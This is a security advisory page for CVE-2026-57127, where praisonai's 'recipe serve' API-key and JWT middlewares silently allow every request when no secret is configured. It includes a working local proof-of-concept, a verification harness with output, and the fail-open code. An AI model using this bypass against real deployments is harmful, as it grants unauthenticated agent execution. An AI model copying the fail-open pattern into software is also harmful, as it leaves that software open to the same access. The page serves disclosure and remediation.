CVE-2026-57127: praisonai Recipe Serve Auth Middleware Silently Vulnerability

CRITICAL
Advisory Identifier: GHSA-j4hj-7hfh-g2f4
CVSS 9.8
CWE-1188 CWE-306
Published
Advisory Summary

CVE-2026-57127 is a CRITICAL (CVSS 9.8) recipe serve auth middleware silently vulnerability (CWE-1188: Initialization of a Resource with an Insecure Default) affecting praisonai libraries in the PyPI ecosystem. The issue involves recipe serve auth middleware silently disables itself when no secret is set. Remediation is available by upgrading affected packages to version 4.6.59.

CVE-2026-57127 at a Glance

CVE Identifier CVE-2026-57127
GHSA Identifier GHSA-j4hj-7hfh-g2f4
Severity CRITICAL
CVSS v3.1 Base Score 9.8
CWE Classification CWE-1188: Initialization of a Resource with an Insecure Default
Affected Product praisonai
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 9.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-57127

To remediate this vulnerability, upgrade all affected praisonai dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

praisonai fixed: 4.6.59
pip install praisonai>=4.6.59
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show praisonai

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-57127, inspect your installed packages using pip:

pip show praisonai

Analyze the terminal output to locate any version of praisonai in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.6.59), your application is affected.

Note: The pip show praisonai command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-1188: Initialization of a Resource with an Insecure Default, where the product initializes or sets a resource with a default that is intended to be changed by the product's installer, administrator, or maintainer, but the default is not secure. In praisonai, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

# praisonai: `recipe serve` authentication middleware silently disables itself when no secret is set **Researcher:** Kai Aizen — SnailSploit (@SnailSploit), Adversarial & Offensive Security Research **Target:** https://github.com/MervinPraison/PraisonAI --- **Package:** `praisonai` on PyPI **Version tested:** 4.6.48. **File:** `praisonai/recipe/serve.py` (sha256 `491bf8f29e399418260810ba4bf0f6802c6e4aa675628e2be68a9726c15d9b23`). --- ## TL;DR `praisonai/recipe/serve.py:312-410` defines two auth middlewares (`APIKeyAuthMiddleware`, `JWTAuthMiddleware`). Both contain the same "fail open when the secret is unset" branch at the top of their `dispatch`: ```python async def dispatch(self, request, call_next): if request.url.path == "/health": return await call_next(request) expected_key = api_key or os.environ.get("PRAISONAI_API_KEY") if not expected_key: # No key configured, allow request return await call_next(request) ... ``` ```python async def dispatch(self, request, call_next): if request.url.path == "/health": return await call_next(request) secret = jwt_secret or os.environ.get("PRAISONAI_JWT_SECRET") if not secret: return await call_next(request) ... ``` The realistic mis-deploy: 1. operator sets `auth: api-key` (or `auth: jwt`) in their recipe YAML, expecting that line alone to enable auth, 2. operator does not set the corresponding `api_key:` / `jwt_secret:` value in the same YAML, AND 3. operator does not export `PRAISONAI_API_KEY` / `PRAISONAI_JWT_SECRET` in the environment. The middleware silently treats every request as authenticated and forwards it to the recipe-execution route. Combined with the praisonai jobs API having zero auth (a separate finding), operators who paid attention to "I have to set `auth: api-key` to lock this down" still don't get auth on the recipe-serve surface unless they also remember the secret. ## Root cause ``` Expected behavior, after setting `auth: api-key` in the recipe YAML: "Now my recipe endpoints require an X-API-Key header." Actual behavior (serve.py:325-333): - middleware reads `expected_key = api_key or os.environ.get("PRAISONAI_API_KEY")` - if `expected_key` is None (neither YAML nor env supplied one), middleware logs nothing and forwards the request. - operator's recipe routes accept the request as if it were authenticated. request.state.user is unset. Impact: The middleware's documented job is "validate the API key against the configured value". The configured-value-is-None case is exactly the case the middleware should fail closed on — operator has signalled they want auth. Failing open silently turns a documented authentication into a runtime no-op. ``` ## Empirical verification `poc/poc.py`: 1. Imports the installed praisonai 4.6.48 `praisonai.recipe.serve` module (sha256 `491bf8f29e399418260810ba4bf0f6802c6e4aa675628e2be68a9726c15d9b23`). 2. Clears `PRAISONAI_API_KEY` / `PRAISONAI_JWT_SECRET` env vars to simulate the mis-deploy. 3. Calls `serve.create_auth_middleware('api-key', api_key=None, jwt_secret=None)` and instantiates the returned middleware. 4. Builds a Starlette `Request` for `/runs` (the recipe-execution path) with empty headers — no `X-API-Key`, no `Authorization`. 5. `await middleware.dispatch(request, fake_call_next)` returns the sentinel `'REACHED-DOWNSTREAM (path=/runs)'` from the fake `call_next` — proving the middleware passed the request through without authenticating. 6. Repeats the test for `auth_type='jwt'` — same bypass on the JWT path. Run log (`poc/run-log.txt`) summary: ``` [2] auth_type='api-key', no api_key / no PRAISONAI_API_KEY env middleware.dispatch -> 'REACHED-DOWNSTREAM (path=/runs)' [3] auth_type='jwt', no jwt_secret / no PRAISONAI_JWT_SECRET env middleware.dispatch -> 'REACHED-DOWNSTREAM (path=/runs)' APIKeyAuthMiddleware allowed the request through without an API key. JWTAuthMiddleware allowed the request through without a Bearer token. [4] grep '# No key configured, allow request' -> line 333 VERDICT: VULNERABLE EXIT 0 ``` ## Impact The recipe-serve surface runs agentic workflows — same execution posture as `praisonai/jobs/server.py` but separately configured / separately reached. Unauth access on this surface yields: - Trigger arbitrary recipe executions, passing attacker-controlled inputs and configurations. - Read the inputs / outputs of in-flight recipes — the operator's prompts and the LLM responses. - In some deployments, the recipe execution surface is wired to tools (browser automation, file-system writes, code execution). Reaching those tools without auth is a direct RCE path. ## Anchors - `praisonai/recipe/serve.py:325-333` — `APIKeyAuthMiddleware.dispatch` silent-bypass branch. - `praisonai/recipe/serve.py:352-355` — `JWTAuthMiddleware.dispatch` silent-bypass branch. - `praisonai/recipe/serve.py:688-694` — call site: ```python auth_type = config.get("auth") if auth_type and auth_type != "none": auth_middleware = create_auth_middleware( auth_type, api_key=config.get("api_key"), jwt_secret=config.get("jwt_secret"), ) ``` ## Suggested fix When the operator has signalled "I want auth", refuse to start without the corresponding secret rather than silently degrading: ```python def create_auth_middleware(auth_type, api_key=None, jwt_secret=None): if auth_type == 'api-key': expected_key = api_key or os.environ.get("PRAISONAI_API_KEY") if not expected_key: raise SystemExit( "auth_type='api-key' requested but no API key is " "configured. Either set `api_key:` in your recipe " "YAML or export PRAISONAI_API_KEY. Refusing to " "start with a silently disabled auth middleware." ) ... elif auth_type == 'jwt': secret = jwt_secret or os.environ.get("PRAISONAI_JWT_SECRET") if not secret: raise SystemExit( "auth_type='jwt' requested but no JWT secret is " "configured. Either set `jwt_secret:` in your recipe " "YAML or export PRAISONAI_JWT_SECRET. Refusing to " "start with a silently disabled auth middleware." ) ... ``` This is the same pattern the sibling `praisonai.gateway` server applies in `assert_external_bind_safe` at `praisonai/gateway/auth.py:48-54` — refuse-to-start on external bind without an auth token. The recipe-serve surface should do the same. ## Steps to reproduce 1. Clone the target: `git clone --depth 1 https://github.com/MervinPraison/PraisonAI` 2. Run the proof of concept (`poc.py`) against the cloned source. 3. Observe the result shown under *Verified result* below. ## Proof of concept `poc.py` ```python """ PoC: praisonai 4.6.48 `praisonai recipe serve` configures authentication via a `auth:` field in the recipe YAML. Setting `auth: api-key` or `auth: jwt` installs APIKeyAuthMiddleware or JWTAuthMiddleware on the FastAPI app — and the operator's expectation is that those endpoints now require a valid API key / Bearer JWT. In reality, both middlewares contain an early-return that silently bypasses authentication when the corresponding secret has not been configured (neither via the recipe YAML nor via the PRAISONAI_API_KEY / PRAISONAI_JWT_SECRET env var). """ import hashlib import inspect import os import sys def main() -> int: print('=' * 72) print('praisonai 4.6.48 — recipe serve auth middleware silent bypass') print('=' * 72) # Realistic deploy: operator sets `auth: api-key` in YAML but # forgets to set api_key / env var. for env_var in ('PRAISONAI_API_KEY', 'PRAISONAI_JWT_SECRET'): if env_var in os.environ: del os.environ[env_var] from praisonai.recipe import serve as serve_mod src = inspect.getsourcefile(serve_mod) with open(src, 'rb') as f: raw = f.read() sha = hashlib.sha256(raw).hexdigest() print() print(f'[1] serve.py path : {src}') print(f' sha256 : {sha}') from starlette.requests import Request create_auth_middleware = serve_mod.create_auth_middleware async def fake_call_next(request): return f"REACHED-DOWNSTREAM (path={request.url.path})" async def driver(auth_type: str, headers=None): scope = { 'type': 'http', 'method': 'GET', 'path': '/runs', 'headers': headers or [], 'query_string': b'', 'scheme': 'http', 'server': ('127.0.0.1', 8000), 'app': None, 'root_path': '', } request = Request(scope, receive=lambda: None) mw_cls = create_auth_middleware(auth_type, api_key=None, jwt_secret=None) if mw_cls is None: return 'middleware-import-failed' instance = mw_cls(app=None) return await instance.dispatch(request, fake_call_next) import asyncio print() print("[2] auth_type='api-key', no api_key / no PRAISONAI_API_KEY env") result_apikey = asyncio.run(driver('api-key')) print(f" middleware.dispatch -> {result_apikey!r}") print() print("[3] auth_type='jwt', no jwt_secret / no PRAISONAI_JWT_SECRET env") result_jwt = asyncio.run(driver('jwt')) print(f" middleware.dispatch -> {result_jwt!r}") vulnerable = False if isinstance(result_apikey, str) and 'REACHED-DOWNSTREAM' in result_apikey: vulnerable = True print(' APIKeyAuthMiddleware allowed the request through without an API key.') if isinstance(result_jwt, str) and 'REACHED-DOWNSTREAM' in result_jwt: vulnerable = True print(' JWTAuthMiddleware allowed the request through without a Bearer token.') # Static check that the bypass is on the code path. text = raw.decode('utf-8', errors='replace') needle_api = '# No key configured, allow request' apikey_line = next( (i for i, l in enumerate(text.splitlines(), 1) if needle_api in l), None, ) print() print('[4] static cross-check — bypass branch on the code path') print(f" grep '{needle_api}' -> line {apikey_line}") if not vulnerable: print('UNEXPECTED — the dispatch did not return the bypass result.') return 1 print() print('VULNERABLE: praisonai 4.6.48 `recipe serve` AuthMiddleware classes') print(' both silently bypass auth when the operator sets auth_type') print(' but forgets the corresponding secret — unauthenticated access') print(' to recipe execution endpoints.') print('VERDICT: VULNERABLE') return 0 if __name__ == '__main__': sys.exit(main()) ``` ## Verification harness (executed against the cloned repo) This drives the unmodified upstream code rather than a reproduction. ```python import sys, types, os, importlib.util BK=os.path.abspath("repos/PraisonAI/src/praisonai"); sys.path.insert(0,BK) for p in ["praisonai","praisonai.recipe"]: m=types.ModuleType(p); m.__path__=[BK+"/"+p.replace(".","/")]; sys.modules[p]=m spec=importlib.util.spec_from_file_location("praisonai.recipe.serve", BK+"/praisonai/recipe/serve.py") serve=importlib.util.module_from_spec(spec); serve.__package__="praisonai.recipe"; sys.modules[spec.name]=serve; spec.loader.exec_module(serve) print("[*] Loaded REAL praisonai recipe/serve.py") os.environ.pop("PRAISONAI_API_KEY", None) # operator forgot to export it too from starlette.applications import Starlette from starlette.routing import Route from starlette.responses import PlainTextResponse from starlette.testclient import TestClient def make_app(mw): app=Starlette(routes=[Route("/run", lambda r: PlainTextResponse("AGENT EXECUTED"), methods=["POST"])]) app.add_middleware(mw); return TestClient(app) # (A) operator set `auth: api-key` but forgot api_key + env -> REAL factory returns middleware that SILENTLY bypasses MW_bypass = serve.create_auth_middleware("api-key", api_key=None) # REAL factory r = make_app(MW_bypass).post("/run") print(f"[+] auth='api-key', NO key configured, NO header -> HTTP {r.status_code} body={r.text!r}") # (B) control: same middleware WITH a key configured -> unauthenticated request is correctly 401 MW_enforced = serve.create_auth_middleware("api-key", api_key="real-secret") r2 = make_app(MW_enforced).post("/run") print(f"[*] auth='api-key', key CONFIGURED, NO header -> HTTP {r2.status_code} (correctly rejected)") assert r.status_code==200 and "AGENT EXECUTED" in r.text and r2.status_code==401 print("[+] CONFIRMED against real praisonai repo: APIKeyAuthMiddleware silently bypasses auth when no key configured -> agent route reachable unauthenticated") ``` ## Verified result This PoC was executed against the live upstream code; captured output: ``` [*] Loaded REAL praisonai recipe/serve.py [+] auth='api-key', NO key configured, NO header -> HTTP 200 body='AGENT EXECUTED' [*] auth='api-key', key CONFIGURED, NO header -> HTTP 401 (correctly rejected) [+] CONFIRMED against real praisonai repo: APIKeyAuthMiddleware silently bypasses auth when no key configured -> agent route reachable unauthenticated ``` ## Credit Kai Aizen — SnailSploit (@SnailSploit). Adversarial & Offensive Security Research.

CVE-2026-57127 Affected praisonai Versions

1 component(s)
Fixed Versions:
4.6.59
Product / Package Ecosystem Affected Versions Fixed Version
praisonai
PyPI
< 4.6.59
4.6.59

References

Frequently Asked Questions

What is CVE-2026-57127?
CVE-2026-57127 is a security vulnerability in praisonai involving recipe serve auth middleware silently disables itself when no secret is set under CWE-1188: Initialization of a Resource with an Insecure Default.
Which praisonai versions are affected?
Affected versions include releases prior to 4.6.59 across affected packages: praisonai.
What version fixes CVE-2026-57127?
Upgrading to 4.6.59 (or the latest patched release for your respective branch) resolves the vulnerability.
Is praisonai affected?
Yes, praisonai is affected in releases prior to 4.6.59. Upgrade your dependency to 4.6.59 or later.
What is the CVSS score of CVE-2026-57127?
CVE-2026-57127 has a CVSS v3.1 base score of 9.8 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-57127?
CVE-2026-57127 is classified under CWE-1188: Initialization of a Resource with an Insecure Default (The product initializes or sets a resource with a default that is intended to be changed by the product's installer, administrator, or maintainer, but the default is not secure.).
How can I check PyPI dependencies for CVE-2026-57127?
Run the dependency tree command: 'pip show praisonai'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-j4hj-7hfh-g2f4",
  "modified" : "2026-07-20T21:25:31Z",
  "published" : "2026-06-18T13:56:55Z",
  "aliases" : [ "CVE-2026-57127" ],
  "summary" : "praisonai: recipe serve auth middleware silently disables itself when no secret is set",
  "details" : "# praisonai: `recipe serve` authentication middleware silently disables itself when no secret is set\n\n**Researcher:** Kai Aizen — SnailSploit (@SnailSploit), Adversarial & Offensive Security Research\n**Target:** https://github.com/MervinPraison/PraisonAI\n\n---\n\n**Package:** `praisonai` on PyPI\n**Version tested:** 4.6.48.\n**File:** `praisonai/recipe/serve.py` (sha256 `491bf8f29e399418260810ba4bf0f6802c6e4aa675628e2be68a9726c15d9b23`).\n\n---\n\n## TL;DR\n\n`praisonai/recipe/serve.py:312-410` defines two auth middlewares (`APIKeyAuthMiddleware`, `JWTAuthMiddleware`). Both contain the same \"fail open when the secret is unset\" branch at the top of their `dispatch`:\n\n```python\nasync def dispatch(self, request, call_next):\n    if request.url.path == \"/health\":\n        return await call_next(request)\n    expected_key = api_key or os.environ.get(\"PRAISONAI_API_KEY\")\n    if not expected_key:\n        # No key configured, allow request\n        return await call_next(request)\n    ...\n```\n\n```python\nasync def dispatch(self, request, call_next):\n    if request.url.path == \"/health\":\n        return await call_next(request)\n    secret = jwt_secret or os.environ.get(\"PRAISONAI_JWT_SECRET\")\n    if not secret:\n        return await call_next(request)\n    ...\n```\n\nThe realistic mis-deploy:\n\n1. operator sets `auth: api-key` (or `auth: jwt`) in their recipe YAML, expecting that line alone to enable auth,\n2. operator does not set the corresponding `api_key:` / `jwt_secret:` value in the same YAML, AND\n3. operator does not export `PRAISONAI_API_KEY` / `PRAISONAI_JWT_SECRET` in the environment.\n\nThe middleware silently treats every request as authenticated and forwards it to the recipe-execution route.\n\nCombined with the praisonai jobs API having zero auth (a separate finding), operators who paid attention to \"I have to set `auth: api-key` to lock this down\" still don't get auth on the recipe-serve surface unless they also remember the secret.\n\n## Root cause\n\n```\n   Expected behavior, after setting `auth: api-key` in the recipe YAML:\n     \"Now my recipe endpoints require an X-API-Key header.\"\n\n   Actual behavior (serve.py:325-333):\n     - middleware reads `expected_key = api_key or\n       os.environ.get(\"PRAISONAI_API_KEY\")`\n     - if `expected_key` is None (neither YAML nor env supplied\n       one), middleware logs nothing and forwards the request.\n     - operator's recipe routes accept the request as if it were\n       authenticated.  request.state.user is unset.\n\n   Impact:\n     The middleware's documented job is \"validate the API key\n     against the configured value\".  The configured-value-is-None\n     case is exactly the case the middleware should fail closed\n     on — operator has signalled they want auth.  Failing open\n     silently turns a documented authentication into a runtime\n     no-op.\n```\n\n## Empirical verification\n\n`poc/poc.py`:\n\n1. Imports the installed praisonai 4.6.48 `praisonai.recipe.serve` module (sha256 `491bf8f29e399418260810ba4bf0f6802c6e4aa675628e2be68a9726c15d9b23`).\n2. Clears `PRAISONAI_API_KEY` / `PRAISONAI_JWT_SECRET` env vars to simulate the mis-deploy.\n3. Calls `serve.create_auth_middleware('api-key', api_key=None, jwt_secret=None)` and instantiates the returned middleware.\n4. Builds a Starlette `Request` for `/runs` (the recipe-execution path) with empty headers — no `X-API-Key`, no `Authorization`.\n5. `await middleware.dispatch(request, fake_call_next)` returns the sentinel `'REACHED-DOWNSTREAM (path=/runs)'` from the fake `call_next` — proving the middleware passed the request through without authenticating.\n6. Repeats the test for `auth_type='jwt'` — same bypass on the JWT path.\n\nRun log (`poc/run-log.txt`) summary:\n\n```\n[2] auth_type='api-key', no api_key / no PRAISONAI_API_KEY env\n    middleware.dispatch -> 'REACHED-DOWNSTREAM (path=/runs)'\n[3] auth_type='jwt', no jwt_secret / no PRAISONAI_JWT_SECRET env\n    middleware.dispatch -> 'REACHED-DOWNSTREAM (path=/runs)'\n    APIKeyAuthMiddleware allowed the request through without an API key.\n    JWTAuthMiddleware allowed the request through without a Bearer token.\n[4] grep '# No key configured, allow request' -> line 333\n\nVERDICT: VULNERABLE\nEXIT 0\n```\n\n## Impact\n\nThe recipe-serve surface runs agentic workflows — same execution posture as `praisonai/jobs/server.py` but separately configured / separately reached. Unauth access on this surface yields:\n\n- Trigger arbitrary recipe executions, passing attacker-controlled inputs and configurations.\n- Read the inputs / outputs of in-flight recipes — the operator's prompts and the LLM responses.\n- In some deployments, the recipe execution surface is wired to tools (browser automation, file-system writes, code execution). Reaching those tools without auth is a direct RCE path.\n\n\n## Anchors\n\n- `praisonai/recipe/serve.py:325-333` — `APIKeyAuthMiddleware.dispatch` silent-bypass branch.\n- `praisonai/recipe/serve.py:352-355` — `JWTAuthMiddleware.dispatch` silent-bypass branch.\n- `praisonai/recipe/serve.py:688-694` — call site:\n  ```python\n  auth_type = config.get(\"auth\")\n  if auth_type and auth_type != \"none\":\n      auth_middleware = create_auth_middleware(\n          auth_type,\n          api_key=config.get(\"api_key\"),\n          jwt_secret=config.get(\"jwt_secret\"),\n      )\n  ```\n\n## Suggested fix\n\nWhen the operator has signalled \"I want auth\", refuse to start without the corresponding secret rather than silently degrading:\n\n```python\ndef create_auth_middleware(auth_type, api_key=None, jwt_secret=None):\n    if auth_type == 'api-key':\n        expected_key = api_key or os.environ.get(\"PRAISONAI_API_KEY\")\n        if not expected_key:\n            raise SystemExit(\n                \"auth_type='api-key' requested but no API key is \"\n                \"configured.  Either set `api_key:` in your recipe \"\n                \"YAML or export PRAISONAI_API_KEY.  Refusing to \"\n                \"start with a silently disabled auth middleware.\"\n            )\n        ...\n    elif auth_type == 'jwt':\n        secret = jwt_secret or os.environ.get(\"PRAISONAI_JWT_SECRET\")\n        if not secret:\n            raise SystemExit(\n                \"auth_type='jwt' requested but no JWT secret is \"\n                \"configured.  Either set `jwt_secret:` in your recipe \"\n                \"YAML or export PRAISONAI_JWT_SECRET.  Refusing to \"\n                \"start with a silently disabled auth middleware.\"\n            )\n        ...\n```\n\nThis is the same pattern the sibling `praisonai.gateway` server applies in `assert_external_bind_safe` at `praisonai/gateway/auth.py:48-54` — refuse-to-start on external bind without an auth token. The recipe-serve surface should do the same.\n\n## Steps to reproduce\n\n1. Clone the target: `git clone --depth 1 https://github.com/MervinPraison/PraisonAI`\n2. Run the proof of concept (`poc.py`) against the cloned source.\n3. Observe the result shown under *Verified result* below.\n\n## Proof of concept\n\n`poc.py`\n\n```python\n\"\"\"\nPoC: praisonai 4.6.48 `praisonai recipe serve` configures\nauthentication via a `auth:` field in the recipe YAML.  Setting\n`auth: api-key` or `auth: jwt` installs APIKeyAuthMiddleware or\nJWTAuthMiddleware on the FastAPI app — and the operator's expectation\nis that those endpoints now require a valid API key / Bearer JWT.\n\nIn reality, both middlewares contain an early-return that silently\nbypasses authentication when the corresponding secret has not been\nconfigured (neither via the recipe YAML nor via the\nPRAISONAI_API_KEY / PRAISONAI_JWT_SECRET env var).\n\"\"\"\n\nimport hashlib\nimport inspect\nimport os\nimport sys\n\ndef main() -> int:\n    print('=' * 72)\n    print('praisonai 4.6.48 — recipe serve auth middleware silent bypass')\n    print('=' * 72)\n\n    # Realistic deploy: operator sets `auth: api-key` in YAML but\n    # forgets to set api_key / env var.\n    for env_var in ('PRAISONAI_API_KEY', 'PRAISONAI_JWT_SECRET'):\n        if env_var in os.environ:\n            del os.environ[env_var]\n\n    from praisonai.recipe import serve as serve_mod\n\n    src = inspect.getsourcefile(serve_mod)\n    with open(src, 'rb') as f:\n        raw = f.read()\n    sha = hashlib.sha256(raw).hexdigest()\n\n    print()\n    print(f'[1] serve.py path : {src}')\n    print(f'    sha256        : {sha}')\n\n    from starlette.requests import Request\n    create_auth_middleware = serve_mod.create_auth_middleware\n\n    async def fake_call_next(request):\n        return f\"REACHED-DOWNSTREAM (path={request.url.path})\"\n\n    async def driver(auth_type: str, headers=None):\n        scope = {\n            'type': 'http', 'method': 'GET', 'path': '/runs',\n            'headers': headers or [], 'query_string': b'', 'scheme': 'http',\n            'server': ('127.0.0.1', 8000), 'app': None, 'root_path': '',\n        }\n        request = Request(scope, receive=lambda: None)\n        mw_cls = create_auth_middleware(auth_type, api_key=None, jwt_secret=None)\n        if mw_cls is None:\n            return 'middleware-import-failed'\n        instance = mw_cls(app=None)\n        return await instance.dispatch(request, fake_call_next)\n\n    import asyncio\n\n    print()\n    print(\"[2] auth_type='api-key', no api_key / no PRAISONAI_API_KEY env\")\n    result_apikey = asyncio.run(driver('api-key'))\n    print(f\"    middleware.dispatch -> {result_apikey!r}\")\n\n    print()\n    print(\"[3] auth_type='jwt', no jwt_secret / no PRAISONAI_JWT_SECRET env\")\n    result_jwt = asyncio.run(driver('jwt'))\n    print(f\"    middleware.dispatch -> {result_jwt!r}\")\n\n    vulnerable = False\n    if isinstance(result_apikey, str) and 'REACHED-DOWNSTREAM' in result_apikey:\n        vulnerable = True\n        print('    APIKeyAuthMiddleware allowed the request through without an API key.')\n    if isinstance(result_jwt, str) and 'REACHED-DOWNSTREAM' in result_jwt:\n        vulnerable = True\n        print('    JWTAuthMiddleware allowed the request through without a Bearer token.')\n\n    # Static check that the bypass is on the code path.\n    text = raw.decode('utf-8', errors='replace')\n    needle_api = '# No key configured, allow request'\n    apikey_line = next(\n        (i for i, l in enumerate(text.splitlines(), 1) if needle_api in l),\n        None,\n    )\n    print()\n    print('[4] static cross-check — bypass branch on the code path')\n    print(f\"    grep '{needle_api}' -> line {apikey_line}\")\n\n    if not vulnerable:\n        print('UNEXPECTED — the dispatch did not return the bypass result.')\n        return 1\n\n    print()\n    print('VULNERABLE: praisonai 4.6.48 `recipe serve` AuthMiddleware classes')\n    print('            both silently bypass auth when the operator sets auth_type')\n    print('            but forgets the corresponding secret — unauthenticated access')\n    print('            to recipe execution endpoints.')\n    print('VERDICT: VULNERABLE')\n    return 0\n\nif __name__ == '__main__':\n    sys.exit(main())\n```\n\n## Verification harness (executed against the cloned repo)\n\nThis drives the unmodified upstream code rather than a reproduction.\n\n```python\nimport sys, types, os, importlib.util\nBK=os.path.abspath(\"repos/PraisonAI/src/praisonai\"); sys.path.insert(0,BK)\nfor p in [\"praisonai\",\"praisonai.recipe\"]:\n    m=types.ModuleType(p); m.__path__=[BK+\"/\"+p.replace(\".\",\"/\")]; sys.modules[p]=m\nspec=importlib.util.spec_from_file_location(\"praisonai.recipe.serve\", BK+\"/praisonai/recipe/serve.py\")\nserve=importlib.util.module_from_spec(spec); serve.__package__=\"praisonai.recipe\"; sys.modules[spec.name]=serve; spec.loader.exec_module(serve)\nprint(\"[*] Loaded REAL praisonai recipe/serve.py\")\nos.environ.pop(\"PRAISONAI_API_KEY\", None)   # operator forgot to export it too\n\nfrom starlette.applications import Starlette\nfrom starlette.routing import Route\nfrom starlette.responses import PlainTextResponse\nfrom starlette.testclient import TestClient\ndef make_app(mw):\n    app=Starlette(routes=[Route(\"/run\", lambda r: PlainTextResponse(\"AGENT EXECUTED\"), methods=[\"POST\"])])\n    app.add_middleware(mw); return TestClient(app)\n\n# (A) operator set `auth: api-key` but forgot api_key + env -> REAL factory returns middleware that SILENTLY bypasses\nMW_bypass = serve.create_auth_middleware(\"api-key\", api_key=None)        # REAL factory\nr = make_app(MW_bypass).post(\"/run\")\nprint(f\"[+] auth='api-key', NO key configured, NO header -> HTTP {r.status_code} body={r.text!r}\")\n\n# (B) control: same middleware WITH a key configured -> unauthenticated request is correctly 401\nMW_enforced = serve.create_auth_middleware(\"api-key\", api_key=\"real-secret\")\nr2 = make_app(MW_enforced).post(\"/run\")\nprint(f\"[*] auth='api-key', key CONFIGURED, NO header  -> HTTP {r2.status_code} (correctly rejected)\")\n\nassert r.status_code==200 and \"AGENT EXECUTED\" in r.text and r2.status_code==401\nprint(\"[+] CONFIRMED against real praisonai repo: APIKeyAuthMiddleware silently bypasses auth when no key configured -> agent route reachable unauthenticated\")\n```\n\n## Verified result\n\nThis PoC was executed against the live upstream code; captured output:\n\n```\n[*] Loaded REAL praisonai recipe/serve.py\n[+] auth='api-key', NO key configured, NO header -> HTTP 200 body='AGENT EXECUTED'\n[*] auth='api-key', key CONFIGURED, NO header  -> HTTP 401 (correctly rejected)\n[+] CONFIRMED against real praisonai repo: APIKeyAuthMiddleware silently bypasses auth when no key configured -> agent route reachable unauthenticated\n```\n\n## Credit\n\nKai Aizen — SnailSploit (@SnailSploit). Adversarial & Offensive Security Research.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "praisonai"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.6.59"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 4.6.48"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-j4hj-7hfh-g2f4"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/MervinPraison/PraisonAI"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1188", "CWE-306" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-18T13:56:55Z",
    "nvd_published_at" : null
  }
}